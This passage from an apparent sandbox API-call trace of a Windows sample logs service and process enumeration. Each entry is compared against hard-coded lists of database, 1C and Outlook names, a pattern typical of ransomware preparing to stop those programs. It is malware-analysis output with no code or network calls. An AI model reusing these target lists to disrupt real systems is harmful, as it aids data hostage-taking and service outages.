(lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.293] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.293] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.293] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.294] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.294] lstrlenW (lpString="RpcSs") returned 5 [0044.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.294] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.294] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.294] lstrlenW (lpString="SamSs") returned 5 [0044.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.294] lstrlenW (lpString="Schedule") returned 8 [0044.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.294] lstrlenW (lpString="SENS") returned 4 [0044.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.294] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.294] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.294] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.294] lstrlenW (lpString="Spooler") returned 7 [0044.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.295] lstrlenW (lpString="swprv") returned 5 [0044.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0044.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0044.295] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0044.295] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0044.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0044.295] lstrlenW (lpString="SysMain") returned 7 [0044.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.295] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.295] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.295] lstrlenW (lpString="Themes") returned 6 [0044.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.295] lstrlenW (lpString="TrkWks") returned 6 [0044.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.295] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.295] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.295] lstrlenW (lpString="UxSms") returned 5 [0044.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.295] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.295] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.295] lstrlenW (lpString="VSS") returned 3 [0044.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.296] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.296] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.296] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.296] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.296] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.296] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.296] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.296] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.296] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.296] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.296] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.296] lstrlenW (lpString="Winmgmt") returned 7 [0044.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.296] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.296] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.296] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0044.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0044.301] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.302] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.302] lstrlenW (lpString="System") returned 6 [0044.302] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.302] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.302] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.302] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.302] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.302] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.302] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.302] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.303] lstrlenW (lpString="smss.exe") returned 8 [0044.303] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.303] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.303] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.303] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.303] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.303] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.303] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.303] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.304] lstrlenW (lpString="csrss.exe") returned 9 [0044.304] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.304] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.304] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.304] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.304] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.304] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.304] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.304] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.304] lstrlenW (lpString="wininit.exe") returned 11 [0044.304] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.304] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.304] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.305] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.305] lstrlenW (lpString="csrss.exe") returned 9 [0044.305] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.306] lstrlenW (lpString="winlogon.exe") returned 12 [0044.306] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.306] lstrlenW (lpString="services.exe") returned 12 [0044.306] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.307] lstrlenW (lpString="lsass.exe") returned 9 [0044.307] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.307] lstrlenW (lpString="lsm.exe") returned 7 [0044.307] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.308] lstrlenW (lpString="svchost.exe") returned 11 [0044.308] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.308] lstrlenW (lpString="svchost.exe") returned 11 [0044.308] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.309] lstrlenW (lpString="svchost.exe") returned 11 [0044.309] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.309] lstrlenW (lpString="svchost.exe") returned 11 [0044.309] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.310] lstrlenW (lpString="svchost.exe") returned 11 [0044.310] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.310] lstrlenW (lpString="audiodg.exe") returned 11 [0044.310] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.311] lstrlenW (lpString="svchost.exe") returned 11 [0044.311] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.311] lstrlenW (lpString="svchost.exe") returned 11 [0044.311] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.312] lstrlenW (lpString="dwm.exe") returned 7 [0044.312] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.312] lstrlenW (lpString="explorer.exe") returned 12 [0044.312] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.313] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.313] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.313] lstrlenW (lpString="taskhost.exe") returned 12 [0044.313] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.314] lstrlenW (lpString="svchost.exe") returned 11 [0044.314] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.314] lstrlenW (lpString="taskeng.exe") returned 11 [0044.314] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.315] lstrlenW (lpString="taskhost.exe") returned 12 [0044.315] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0044.315] lstrlenW (lpString="dear.exe") returned 8 [0044.315] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0044.316] lstrlenW (lpString="b costa.exe") returned 11 [0044.316] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0044.316] lstrlenW (lpString="rc lock.exe") returned 11 [0044.316] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0044.317] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0044.317] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0044.317] lstrlenW (lpString="hugown.exe") returned 10 [0044.317] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0044.318] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0044.318] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0044.318] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0044.318] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0044.319] lstrlenW (lpString="locked welsh.exe") returned 16 [0044.319] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0044.319] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0044.319] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0044.320] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0044.320] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0044.320] lstrlenW (lpString="planners.exe") returned 12 [0044.320] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0044.321] lstrlenW (lpString="agreements.exe") returned 14 [0044.321] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0044.322] lstrlenW (lpString="tray.exe") returned 8 [0044.322] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0044.322] lstrlenW (lpString="wp std.exe") returned 10 [0044.322] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0044.323] lstrlenW (lpString="lesser.exe") returned 10 [0044.323] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0044.323] lstrlenW (lpString="right-tissue.exe") returned 16 [0044.323] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0044.324] lstrlenW (lpString="bunch.exe") returned 9 [0044.324] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, 